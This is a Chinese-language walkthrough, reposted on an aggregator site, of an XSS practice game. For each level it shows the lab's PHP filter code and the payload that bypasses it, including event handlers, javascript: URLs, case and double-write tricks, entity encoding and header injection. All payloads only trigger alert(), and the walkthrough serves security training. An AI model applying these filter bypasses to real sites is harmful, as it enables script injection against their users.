xss-game
Posted l0nmar
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了xss-game相关的知识,希望对你有一定的参考价值。
level1
- 借助window.alert()函数完成任务
http://test.ctf8.com/level1.php?name=<script>alert(‘123‘)</script>
level2
- 输入框输入test后 Ctrl+g搜索源码中的test,发现有两处
- 分别构造以下两个payload
1. </h2><center><script>window.alert()</script><h2 align=center>
2. "> <script>window.alert()</script>
- 第二个奏效
level3
- 同样的方式
- 构造payload为
‘> <script>window.alert()</script>
- 发现
- 源代码用
- 处理了字符串
- 看一下htmlspecialchars()函数
- quotestyle 选项为ENT_QUOTES才会过滤单引号
- 得知不会过滤单引号和双引号
https://www.cnblogs.com/xishaonian/p/7196604.html
倘若是在script、input标签当中,即可突破。
Payload:
‘ oninput=alert(1) // 当要在input中输入内容时触发事件
‘ onchange=alert(1)// 发生改变的时候触发该事件
- 构造payload为
keyword=‘ onclick=window.alert()
- 点击就会劫持
level4
- 同上 "改为‘
level5
- 源码中过滤了script和on
- 也过滤了大小写
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
- js伪协议绕过
https://www.cnblogs.com/lcyuhe/p/6409379.html
javascript:这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行
- payload
"><a href="javascript:alert(‘xss‘)">点击过关</a>
level6 大小写绕过
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
- payload:
keyword="><ScRIpt>window.alert()</SCript>
level7双写绕过
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
- payload
keyword="><sscriptcript>window.alert()</sscriptcript>
level8 实体编码绕过
- 上面的用htmlspecialchars(),引号也转为实体编码
- 下面的有替换
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace(‘"‘,‘"‘,$str6);
payload: javascript:alert(1)
s转换为实体编码绕过
level9
- 与之前相比,多了个对http://的检查
if(false===strpos($str7,‘http://‘))
{
echo ‘<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>‘;
}
- payload:
javascript:alert(1)/*http://*/
level 10
- t_sort隐藏
t_sort=" onclick="alert()" type="text"
level11
- hackbar传reffer
- reffer内容
" onclick="alert()" type="text"
level 12
- 同上,抓包改user-agent
level 13
- 改cookie
level 14
level 15
level 16
/level16.php?keyword=<img%0Dsrc=1%0Donerror=alert(1)>
keyword=<img%0asrc=1%0aonerror=alert(1)>
keyword=<img%0asrc=x%0donError=alert(‘xss‘)>
<iframe%0asrc=x%0donmouseover=alert`1`></iframe>
<svg%0aonload=alert`1`></svg>
level 17 18
?arg01=a&arg02=b%20onmouseout=alert(1)
以上是关于xss-game的主要内容,如果未能解决你的问题,请参考以下文章